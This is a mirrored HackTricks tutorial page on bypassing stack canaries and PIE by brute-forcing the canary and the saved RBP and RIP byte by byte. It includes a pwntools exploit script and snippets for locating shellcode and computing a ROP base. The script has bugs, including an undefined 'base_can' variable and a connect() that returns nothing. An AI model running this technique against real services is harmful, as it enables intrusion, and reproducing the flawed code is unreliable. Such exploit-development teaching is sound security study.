mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 04:23:33 +00:00
125 lines
6.7 KiB
Markdown
125 lines
6.7 KiB
Markdown
|
# BF Addresses in the Stack
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
|
||
|
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
|
||
|
|
||
|
![](<../../../.gitbook/assets/image (865).png>)
|
||
|
|
||
|
{% hint style="info" %}
|
||
|
Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
|
||
|
However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
|
||
|
{% endhint %}
|
||
|
|
||
|
## Brute-Force Addresses
|
||
|
|
||
|
In order to **bypass the PIE** you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\
|
||
|
For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.**
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case.
|
||
|
{% endhint %}
|
||
|
|
||
|
To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:
|
||
|
|
||
|
```python
|
||
|
from pwn import *
|
||
|
|
||
|
def connect():
|
||
|
r = remote("localhost", 8788)
|
||
|
|
||
|
def get_bf(base):
|
||
|
canary = ""
|
||
|
guess = 0x0
|
||
|
base += canary
|
||
|
|
||
|
while len(canary) < 8:
|
||
|
while guess != 0xff:
|
||
|
r = connect()
|
||
|
|
||
|
r.recvuntil("Username: ")
|
||
|
r.send(base + chr(guess))
|
||
|
|
||
|
if "SOME OUTPUT" in r.clean():
|
||
|
print "Guessed correct byte:", format(guess, '02x')
|
||
|
canary += chr(guess)
|
||
|
base += chr(guess)
|
||
|
guess = 0x0
|
||
|
r.close()
|
||
|
break
|
||
|
else:
|
||
|
guess += 1
|
||
|
r.close()
|
||
|
|
||
|
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
||
|
return base
|
||
|
|
||
|
# CANARY BF HERE
|
||
|
canary_offset = 1176
|
||
|
base = "A" * canary_offset
|
||
|
print("Brute-Forcing canary")
|
||
|
base_canary = get_bf(base) #Get yunk data + canary
|
||
|
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
||
|
|
||
|
# PIE BF FROM HERE
|
||
|
print("Brute-Forcing RBP")
|
||
|
base_canary_rbp = get_bf(base_canary)
|
||
|
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
|
||
|
print("Brute-Forcing RIP")
|
||
|
base_canary_rbp_rip = get_bf(base_canary_rbp)
|
||
|
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
|
||
|
```
|
||
|
|
||
|
The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**.
|
||
|
|
||
|
From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP:
|
||
|
|
||
|
```python
|
||
|
INI_SHELLCODE = RBP - 1152
|
||
|
```
|
||
|
|
||
|
From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\
|
||
|
To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses:
|
||
|
|
||
|
![](<../../../.gitbook/assets/image (479).png>)
|
||
|
|
||
|
In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked `0x562002970ecf` the base address is `0x562002970000`
|
||
|
|
||
|
```python
|
||
|
elf.address = RIP - (RIP & 0xfff)
|
||
|
```
|
||
|
|
||
|
## Improvements
|
||
|
|
||
|
According to [**some observation from this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), it's possible that when leaking RBP and RIP values, the server won't crash with some values which aren't the correct ones and the BF script will think he got the good ones. This is because it's possible that **some addresses just won't break it even if there aren't exactly the correct ones**.
|
||
|
|
||
|
According to that blog post it's recommended to add a short delay between requests to the server is introduced.
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|